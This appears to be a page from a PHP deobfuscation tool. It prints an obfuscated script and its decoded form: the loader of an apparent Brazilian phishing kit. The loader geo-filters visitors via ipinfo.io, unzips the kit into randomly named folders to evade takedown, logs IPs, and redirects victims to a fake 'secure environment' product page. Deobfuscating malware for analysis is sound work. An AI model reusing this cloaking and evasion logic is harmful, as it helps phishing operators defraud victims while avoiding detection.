Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ${"G\x4cO\x42\x41L\x53"}["\x78n\x6dt\x71\x66\x78\x70\x77\x77b"]="\x72e\x64\x69r\x65..

Decoded Output download

<?php 
${"GLOBALS"}["xnmtqfxpwwb"]="redirect";${"GLOBALS"}["bhfkbbwif"]="Result12";${"GLOBALS"}["oevrkdrm"]="acrescenta1";${"GLOBALS"}["gcjryxien"]="Result1";${"GLOBALS"}["eghsuqosswj"]="acrescenta";${"GLOBALS"}["gorgtwbl"]="destino";${"GLOBALS"}["emotlxt"]="pasta1";${"GLOBALS"}["whtofcmzr"]="arquivo";${"GLOBALS"}["iqblpevkla"]="id";${"GLOBALS"}["fumndib"]="ip";${"GLOBALS"}["dbbdjvfzsb"]="ch";${"GLOBALS"}["oilpzus"]="checar";${"GLOBALS"}["uxqdpp"]="ipc";$sqbygdy="ip";$wtcncxbbjmpl="ch";require_once("Connections/ConnectDB.php");$vtqciaro="dadosSite";${${"GLOBALS"}["uxqdpp"]}=$_SERVER["REMOTE_ADDR"];$cpsrjydry="dadosSite";$itcqjgb="ip";$vbndjtp="ch";${${"GLOBALS"}["oilpzus"]}="https://ipinfo.io/$ipc/json/";${$wtcncxbbjmpl}=curl_init();${"GLOBALS"}["ifnxfqftbdcy"]="ipc";${"GLOBALS"}["pwdfsujitb"]="ch";$dhiwlzms="ip";curl_setopt(${$vbndjtp},CURLOPT_URL,"$checar");${"GLOBALS"}["hgmirrq"]="ch";curl_setopt(${${"GLOBALS"}["pwdfsujitb"]},CURLOPT_COOKIEJAR,"cookie.txt");$fpmmvvueg="ch";curl_setopt(${${"GLOBALS"}["dbbdjvfzsb"]},CURLOPT_RETURNTRANSFER,1);curl_setopt(${${"GLOBALS"}["hgmirrq"]},CURLOPT_SSL_VERIFYPEER,false);${$vtqciaro}=curl_exec(${$fpmmvvueg});${${"GLOBALS"}["fumndib"]}=explode("\"country\": "",${$cpsrjydry});${$sqbygdy}=explode(""",${${"GLOBALS"}["fumndib"]}[1]);if(${${"GLOBALS"}["ifnxfqftbdcy"]}=="127.0.0.1"){${${"GLOBALS"}["fumndib"]}="BR";}else{$hbiqqnbijft="ip";${${"GLOBALS"}["fumndib"]}=${$hbiqqnbijft}[0];}if(${$itcqjgb}=="BR"||${$dhiwlzms}==null){$naemtmcno="produto";echo "
";${$naemtmcno}=$_GET["linkcompleto"];${${"GLOBALS"}["iqblpevkla"]}=$_GET["id"];if(is_numeric(${${"GLOBALS"}["iqblpevkla"]})){$iqdgmyl="id";$ocyvhbvg="redirect";echo "
<title>Acessando Ambiente Seguro</title>
";${"GLOBALS"}["ioyvyu"]="ConnectDB";${"GLOBALS"}["okyhnkplfep"]="database_ConnectDB";${"GLOBALS"}["qwrdrrylyd"]="database_ConnectDB";${${"GLOBALS"}["whtofcmzr"]}=getcwd()."/OFERTAS.zip";$esqfyaxlxxu="zip";$utmqazfokg="produto";${${"GLOBALS"}["emotlxt"]}="OFERTAS".rand(0,99999)."apc";${"GLOBALS"}["hjprutkb"]="pasta1";${${"GLOBALS"}["gorgtwbl"]}=${${"GLOBALS"}["hjprutkb"]};${"GLOBALS"}["dniyulynjsy"]="ConnectDB";${$esqfyaxlxxu}=new ZipArchive;${"GLOBALS"}["psmnnsqvb"]="ConnectDB";$zip->open(${${"GLOBALS"}["whtofcmzr"]});if($zip->extractTo(${${"GLOBALS"}["gorgtwbl"]})==TRUE){}else{}$zip->close();echo "<style type=\"text/css">
.x {
	text-align: right;
}
</style>
<center>


";${${"GLOBALS"}["fumndib"]}=$_SERVER["REMOTE_ADDR"];mysqli_select_db(${${"GLOBALS"}["psmnnsqvb"]},${${"GLOBALS"}["okyhnkplfep"]});$arnfsuume="ConnectDB";${${"GLOBALS"}["eghsuqosswj"]}="INSERT INTO visitas (ip) VALUES ('$ip')";${${"GLOBALS"}["gcjryxien"]}=mysqli_query(${${"GLOBALS"}["ioyvyu"]},${${"GLOBALS"}["eghsuqosswj"]})or die(mysql_error());${"GLOBALS"}["dpiefjspcr"]="destino";${$ocyvhbvg}=${${"GLOBALS"}["dpiefjspcr"]}."/produto.php?linkcompleto=".${$utmqazfokg}."&id=".${$iqdgmyl};mysqli_select_db(${${"GLOBALS"}["dniyulynjsy"]},${${"GLOBALS"}["qwrdrrylyd"]});${${"GLOBALS"}["oevrkdrm"]}="INSERT INTO antipishing (nomedir) VALUES ('$pasta1')";${${"GLOBALS"}["bhfkbbwif"]}=mysqli_query(${$arnfsuume},${${"GLOBALS"}["oevrkdrm"]})or die(mysql_error());echo "<script language=\"JavaScript\"> 
window.location="";echo${${"GLOBALS"}["xnmtqfxpwwb"]};echo "\"; 
</script> 
";}else{};echo "
	
";}else{echo "	

<script language=\"JavaScript"> 
window.location=\"http://nodomain.ctbc.com.br/main?ParticipantID=loz9ezonc8fc4ufawcza9ubx2gzfwr7z&FailedURI=http%3A%2F%2F%2F&FailureMode=1&Implementation=&AddInType=4&Version=pywr1.0&ClientLocation=br\"; 
</script> 
";} 
?>

Did this file decode correctly?

Original Code

<?php
${"G\x4cO\x42\x41L\x53"}["\x78n\x6dt\x71\x66\x78\x70\x77\x77b"]="\x72e\x64\x69r\x65\x63\x74";${"\x47\x4c\x4f\x42\x41\x4cS"}["b\x68f\x6bb\x62w\x69\x66"]="Res\x75\x6c\x74\x31\x32";${"\x47\x4c\x4f\x42A\x4c\x53"}["\x6fe\x76\x72\x6b\x64\x72m"]="a\x63\x72\x65\x73\x63\x65n\x74\x61\x31";${"\x47\x4c\x4fBAL\x53"}["\x67c\x6a\x72y\x78i\x65\x6e"]="\x52\x65\x73\x75\x6c\x741";${"\x47\x4c\x4f\x42A\x4cS"}["\x65\x67\x68\x73\x75\x71o\x73\x73w\x6a"]="\x61\x63\x72\x65s\x63e\x6e\x74\x61";${"GLOB\x41\x4cS"}["go\x72g\x74\x77\x62\x6c"]="d\x65st\x69n\x6f";${"\x47L\x4f\x42ALS"}["\x65\x6d\x6f\x74\x6cxt"]="pa\x73t\x61\x31";${"\x47\x4c\x4fB\x41LS"}["\x77\x68\x74\x6f\x66cm\x7a\x72"]="ar\x71\x75\x69\x76\x6f";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["i\x71\x62\x6c\x70\x65\x76\x6b\x6ca"]="i\x64";${"\x47\x4cO\x42\x41\x4cS"}["\x66\x75\x6d\x6edi\x62"]="\x69\x70";${"\x47L\x4f\x42A\x4c\x53"}["\x64bb\x64\x6a\x76\x66\x7as\x62"]="c\x68";${"\x47\x4cO\x42\x41\x4cS"}["\x6f\x69\x6c\x70\x7a\x75s"]="\x63h\x65\x63\x61\x72";${"\x47LO\x42ALS"}["\x75\x78\x71\x64pp"]="\x69\x70\x63";$sqbygdy="i\x70";$wtcncxbbjmpl="\x63\x68";require_once("Co\x6enect\x69o\x6e\x73/\x43\x6fn\x6e\x65ctDB\x2eph\x70");$vtqciaro="\x64\x61\x64\x6f\x73\x53it\x65";${${"\x47\x4c\x4f\x42\x41LS"}["u\x78qd\x70\x70"]}=$_SERVER["\x52EM\x4f\x54E\x5fA\x44DR"];$cpsrjydry="\x64\x61d\x6fs\x53\x69t\x65";$itcqjgb="ip";$vbndjtp="\x63\x68";${${"GL\x4f\x42\x41\x4c\x53"}["\x6f\x69l\x70z\x75\x73"]}="http\x73://\x69\x70\x69\x6e\x66o.i\x6f/$ipc/js\x6fn/";${$wtcncxbbjmpl}=curl_init();${"\x47LO\x42A\x4c\x53"}["\x69\x66nx\x66\x71\x66\x74\x62d\x63\x79"]="ipc";${"\x47\x4c\x4f\x42A\x4cS"}["\x70w\x64\x66s\x75jit\x62"]="\x63h";$dhiwlzms="i\x70";curl_setopt(${$vbndjtp},CURLOPT_URL,"$checar");${"GL\x4f\x42\x41\x4c\x53"}["\x68\x67\x6d\x69\x72\x72\x71"]="\x63\x68";curl_setopt(${${"\x47\x4cOBA\x4c\x53"}["p\x77\x64f\x73ujit\x62"]},CURLOPT_COOKIEJAR,"c\x6f\x6fki\x65.\x74xt");$fpmmvvueg="\x63\x68";curl_setopt(${${"\x47\x4cOBA\x4c\x53"}["\x64\x62\x62d\x6a\x76\x66\x7a\x73\x62"]},CURLOPT_RETURNTRANSFER,1);curl_setopt(${${"\x47L\x4f\x42\x41L\x53"}["h\x67\x6d\x69\x72r\x71"]},CURLOPT_SSL_VERIFYPEER,false);${$vtqciaro}=curl_exec(${$fpmmvvueg});${${"G\x4c\x4fB\x41\x4cS"}["fu\x6d\x6e\x64\x69\x62"]}=explode("\"c\x6f\x75\x6e\x74\x72y\": \x22",${$cpsrjydry});${$sqbygdy}=explode("\x22",${${"G\x4cO\x42\x41LS"}["\x66\x75mn\x64\x69\x62"]}[1]);if(${${"\x47\x4c\x4f\x42\x41\x4cS"}["i\x66\x6ex\x66qftbdc\x79"]}=="127.0\x2e0.1"){${${"\x47L\x4f\x42\x41\x4cS"}["\x66\x75\x6dn\x64\x69b"]}="\x42R";}else{$hbiqqnbijft="\x69\x70";${${"G\x4cO\x42\x41\x4cS"}["\x66\x75m\x6e\x64\x69b"]}=${$hbiqqnbijft}[0];}if(${$itcqjgb}=="B\x52"||${$dhiwlzms}==null){$naemtmcno="p\x72\x6f\x64\x75to";echo "\n";${$naemtmcno}=$_GET["\x6c\x69\x6e\x6b\x63omp\x6ce\x74o"];${${"\x47\x4c\x4fBA\x4cS"}["\x69\x71\x62\x6c\x70\x65v\x6bla"]}=$_GET["\x69d"];if(is_numeric(${${"\x47\x4cOBA\x4c\x53"}["\x69\x71\x62\x6c\x70\x65\x76\x6b\x6c\x61"]})){$iqdgmyl="i\x64";$ocyvhbvg="\x72edi\x72\x65c\x74";echo "\n<\x74itle>Ac\x65s\x73a\x6e\x64o \x41mbie\x6et\x65 Seg\x75\x72o\x3c/titl\x65\x3e\n";${"\x47\x4cO\x42\x41\x4cS"}["\x69\x6fy\x76y\x75"]="Co\x6e\x6e\x65\x63t\x44\x42";${"\x47\x4c\x4f\x42\x41L\x53"}["o\x6b\x79hn\x6bpl\x66ep"]="\x64\x61\x74\x61\x62\x61\x73\x65\x5f\x43o\x6e\x6e\x65c\x74D\x42";${"\x47LO\x42\x41\x4cS"}["\x71\x77rd\x72\x72\x79\x6c\x79\x64"]="d\x61\x74\x61\x62\x61\x73e\x5fConn\x65\x63tD\x42";${${"\x47L\x4fB\x41\x4c\x53"}["\x77\x68\x74\x6ff\x63\x6d\x7ar"]}=getcwd()."/\x4f\x46\x45\x52\x54A\x53.zi\x70";$esqfyaxlxxu="\x7a\x69p";$utmqazfokg="\x70\x72o\x64\x75\x74\x6f";${${"\x47\x4cOB\x41\x4c\x53"}["\x65\x6d\x6f\x74l\x78\x74"]}="\x4f\x46ERTA\x53".rand(0,99999)."\x61\x70c";${"\x47\x4cO\x42\x41\x4cS"}["h\x6a\x70\x72u\x74\x6b\x62"]="\x70\x61\x73\x74\x61\x31";${${"\x47\x4cO\x42\x41\x4c\x53"}["\x67\x6f\x72\x67t\x77bl"]}=${${"\x47\x4c\x4f\x42\x41\x4cS"}["\x68\x6a\x70\x72\x75\x74\x6b\x62"]};${"\x47\x4cO\x42\x41\x4c\x53"}["\x64\x6e\x69\x79\x75\x6c\x79nj\x73\x79"]="\x43o\x6ene\x63\x74D\x42";${$esqfyaxlxxu}=new ZipArchive;${"\x47L\x4f\x42AL\x53"}["\x70\x73m\x6e\x6e\x73\x71\x76\x62"]="\x43\x6f\x6e\x6e\x65c\x74\x44\x42";$zip->open(${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x77h\x74\x6f\x66c\x6d\x7ar"]});if($zip->extractTo(${${"\x47\x4c\x4f\x42AL\x53"}["g\x6fr\x67t\x77\x62l"]})==TRUE){}else{}$zip->close();echo "\x3csty\x6ce \x74yp\x65\x3d\"te\x78\x74/\x63s\x73\x22\x3e\n.\x78 {\n\t\x74\x65\x78\x74-al\x69gn:\x20r\x69g\x68t\x3b\n}\n</s\x74yl\x65\x3e\n\x3c\x63\x65n\x74\x65r>\n\n\n";${${"G\x4c\x4f\x42A\x4c\x53"}["\x66u\x6dn\x64\x69\x62"]}=$_SERVER["RE\x4d\x4fTE\x5fADD\x52"];mysqli_select_db(${${"\x47L\x4f\x42\x41\x4cS"}["ps\x6dnn\x73\x71\x76b"]},${${"\x47\x4c\x4fBALS"}["\x6f\x6by\x68\x6e\x6bp\x6c\x66\x65\x70"]});$arnfsuume="C\x6f\x6e\x6eect\x44\x42";${${"\x47\x4c\x4fBA\x4cS"}["\x65ghsu\x71\x6fs\x73\x77\x6a"]}="\x49N\x53E\x52\x54\x20INT\x4f\x20vi\x73i\x74a\x73\x20(\x69\x70) VA\x4cU\x45\x53\x20(\x27$ip\x27)";${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x67\x63\x6a\x72yxien"]}=mysqli_query(${${"G\x4c\x4f\x42\x41\x4cS"}["i\x6f\x79\x76\x79\x75"]},${${"GLOB\x41\x4cS"}["e\x67\x68\x73\x75\x71\x6f\x73s\x77\x6a"]})or die(mysql_error());${"\x47L\x4f\x42\x41L\x53"}["d\x70\x69\x65\x66\x6a\x73\x70\x63\x72"]="d\x65s\x74\x69n\x6f";${$ocyvhbvg}=${${"\x47L\x4fBA\x4c\x53"}["d\x70\x69\x65\x66\x6a\x73\x70\x63\x72"]}."/p\x72o\x64\x75\x74o\x2ep\x68\x70?\x6cink\x63\x6fmp\x6c\x65to\x3d".${$utmqazfokg}."&\x69d=".${$iqdgmyl};mysqli_select_db(${${"\x47\x4c\x4fB\x41\x4cS"}["d\x6e\x69\x79\x75\x6cy\x6ejsy"]},${${"\x47\x4c\x4f\x42AL\x53"}["\x71\x77\x72\x64\x72\x72\x79\x6cyd"]});${${"\x47L\x4fBAL\x53"}["oevr\x6b\x64\x72\x6d"]}="I\x4eSER\x54 I\x4eTO\x20\x61nti\x70\x69s\x68i\x6eg (n\x6fm\x65d\x69\x72)\x20\x56AL\x55ES (\x27$pasta1\x27)";${${"\x47L\x4f\x42\x41\x4cS"}["bhf\x6b\x62\x62\x77\x69f"]}=mysqli_query(${$arnfsuume},${${"GLO\x42\x41LS"}["\x6f\x65\x76\x72\x6b\x64\x72m"]})or die(mysql_error());echo "<s\x63r\x69\x70\x74\x20\x6ca\x6egua\x67\x65=\"\x4aav\x61Sc\x72\x69pt\"\x3e\x20\n\x77\x69ndow.loc\x61t\x69\x6f\x6e\x3d\x22";echo${${"\x47\x4c\x4f\x42\x41L\x53"}["\x78\x6e\x6d\x74q\x66\x78\x70w\x77b"]};echo "\"\x3b\x20\n</\x73\x63\x72\x69\x70\x74>\x20\n";}else{};echo "\n\t\n";}else{echo "\t\n\n\x3c\x73c\x72ipt l\x61\x6eg\x75a\x67\x65=\"Ja\x76a\x53c\x72\x69pt\x22>\x20\nw\x69\x6e\x64\x6f\x77\x2eloca\x74io\x6e\x3d\"\x68t\x74p://\x6eod\x6f\x6d\x61in.c\x74\x62c.\x63o\x6d.\x62\x72/m\x61\x69\x6e?\x50\x61\x72t\x69\x63ipan\x74\x49D\x3d\x6co\x7a9e\x7aon\x638\x66\x63\x34\x75\x66\x61\x77cza\x39ub\x78\x32\x67z\x66w\x72\x37\x7a&F\x61i\x6cedU\x52I=http%3A%2F%2\x46%\x32F\x26F\x61i\x6cur\x65\x4d\x6f\x64e=1&\x49m\x70\x6ce\x6d\x65nta\x74io\x6e=&A\x64d\x49\x6eType=4&Ve\x72si\x6f\x6e\x3dp\x79wr1\x2e0&\x43\x6c\x69\x65\x6e\x74L\x6fca\x74io\x6e\x3d\x62r\";\x20\n</scr\x69p\x74\x3e\x20\n";}
?>

Function Calls

None

Variables

GLOBALS [{'key': 'xnmtqfxpwwb', 'value': 'redirect'}, {'key': 'bhfkbbwif', 'value': 'Result12'}, {'key': 'oevrkdrm', 'value': 'acrescenta1'}, {'key': 'gcjryxien', 'value': 'Result1'}, {'key': 'eghsuqosswj', 'value': 'acrescenta'}, {'key': 'gorgtwbl', 'value': 'destino'}, {'key': 'emotlxt', 'value': 'pasta1'}, {'key': 'whtofcmzr', 'value': 'arquivo'}, {'key': 'iqblpevkla', 'value': 'id'}, {'key': 'fumndib', 'value': 'ip'}, {'key': 'dbbdjvfzsb', 'value': 'ch'}, {'key': 'oilpzus', 'value': 'checar'}, {'key': 'uxqdpp', 'value': 'ipc'}]
$sqbygdy ip
$wtcncxbbjmpl ch

Stats

MD5 8a0a4b557e2de2327294994241ba8fca
Eval Count 0
Decode Time 89 ms